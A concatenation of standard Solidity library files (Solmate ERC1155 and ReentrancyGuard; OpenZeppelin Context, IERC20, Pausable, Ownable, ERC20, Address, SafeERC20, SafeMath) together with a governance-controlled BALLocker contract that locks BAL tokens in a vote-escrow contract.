uint256 idsLength = ids.length; // Saves MLOADs.
require(idsLength == amounts.length, "LENGTH_MISMATCH");
for (uint256 i = 0; i < idsLength; ) {
balanceOf[to][ids[i]] += amounts[i];
// An array can't have a total length
// larger than the max uint256 value.
unchecked {
i++;
}
}
emit TransferBatch(msg.sender, address(0), to, ids, amounts);
require(
to.code.length == 0
? to != address(0)
: ERC1155TokenReceiver(to).onERC1155BatchReceived(
msg.sender,
address(0),
ids,
amounts,
data
) == ERC1155TokenReceiver.onERC1155BatchReceived.selector,
"UNSAFE_RECIPIENT"
);
}
function _batchBurn(
address from,
uint256[] memory ids,
uint256[] memory amounts
) internal {
uint256 idsLength = ids.length; // Saves MLOADs.
require(idsLength == amounts.length, "LENGTH_MISMATCH");
for (uint256 i = 0; i < idsLength; ) {
balanceOf[from][ids[i]] -= amounts[i];
// An array can't have a total length
// larger than the max uint256 value.
unchecked {
i++;
}
}
emit TransferBatch(msg.sender, from, address(0), ids, amounts);
}
function _burn(
address from,
uint256 id,
uint256 amount
) internal {
balanceOf[from][id] -= amount;
emit TransferSingle(msg.sender, from, address(0), id, amount);
}
}
/// @notice A generic interface for a contract which properly accepts ERC1155 tokens.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC1155.sol)
interface ERC1155TokenReceiver {
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 amount,
bytes calldata data
) external returns (bytes4);
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata amounts,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
/// @notice Gas optimized reentrancy protection for smart contracts.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/ReentrancyGuard.sol)
/// @author Modified from OpenZeppelin (https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/ReentrancyGuard.sol)
abstract contract ReentrancyGuard {
uint256 private reentrancyStatus = 1;
modifier nonReentrant() {
require(reentrancyStatus == 1, "REENTRANCY");
reentrancyStatus = 2;
_;
reentrancyStatus = 1;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/Pausable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC20.sol)
pragma solidity ^0.8.0;
import "../token/ERC20/IERC20.sol";
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
} | True | [
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|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;//^0.6.7
import "../../lib/erc20.sol";
import "../../interfaces/backscratcher/VoteEscrow.sol";
contract BALLocker {
using SafeERC20 for IERC20;
using Address for address;
address public constant bal = address(0x5c6Ee304399DBdB9C8Ef030aB642B10820DB8F56);
address public constant escrow = address(0xC128a9954e6c874eA3d62ce62B468bA073093F25);
address public governance;
address public strategy;
constructor() public {
governance = msg.sender;
}
function getName() external pure returns (string memory) {
return "BALLocker";
}
function setStrategy(address _strategy) external {
require(msg.sender == governance, "!governance");
strategy = _strategy;
}
function createLock(uint256 _value, uint256 _unlockTime) external {
require(msg.sender == strategy || msg.sender == governance, "!authorized");
IERC20(bal).safeApprove(escrow, 0);
IERC20(bal).safeApprove(escrow, _value);
VoteEscrow(escrow).create_lock(_value, _unlockTime);
}
function increaseAmount(uint256 _value) external {
require(msg.sender == strategy || msg.sender == governance, "!authorized");
IERC20(bal).safeApprove(escrow, 0);
IERC20(bal).safeApprove(escrow, _value);
VoteEscrow(escrow).increase_amount(_value);
}
function increaseUnlockTime(uint256 _unlockTime) external{
require(msg.sender == strategy || msg.sender == governance, "!authorized");
VoteEscrow(escrow).increase_unlock_time(_unlockTime);
}
function release() external {
require(msg.sender == strategy || msg.sender == governance, "!authorized");
VoteEscrow(escrow).withdraw();
}
function setGovernance(address _governance) external {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function execute(
address to,
uint256 value,
bytes calldata data
) external returns (bool, bytes memory) {
require(msg.sender == strategy || msg.sender == governance, "!governance");
(bool success, bytes memory result) = to.call{value: value}(data);
return (success, result);
}
function onERC721Received(
address,
address,
uint256,
bytes memory
) public pure returns (bytes4) {
return this.onERC721Received.selector;
}
}
// File: contracts/GSN/Context.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;
import "./safe-math.sol";
import "./context.sol";
// File: contracts/token/ERC20/IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: contracts/utils/Address.sol
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(
address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage
) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(
data
);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: contracts/token/ERC20/ERC20.sol
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(
amount,
"ERC20: transfer amount exceeds balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(
amount,
"ERC20: burn amount exceeds balance"
);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transfer.selector, to, value)
);
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, value)
);
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(
value
);
_callOptionalReturn(
token,
abi.encodeWithSelector(
token.approve.selector,
spender,
newAllowance
)
);
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(
value,
"SafeERC20: decreased allowance below zero"
);
_callOptionalReturn(
token,
abi.encodeWithSelector(
token.approve.selector,
spender,
newAllowance
)
);
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(
data,
"SafeERC20: low-level call failed"
);
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(
abi.decode(returndata, (bool)),
"SafeERC20: ERC20 operation did not succeed"
);
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;//^0.6.7
interface VoteEscrow {
function create_lock(uint256, uint256) external;
function increase_amount(uint256) external;
function increase_unlock_time(uint256) external;
function locked__end(address) external view returns (uint256);
function withdraw() external;
function balanceOf(address) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
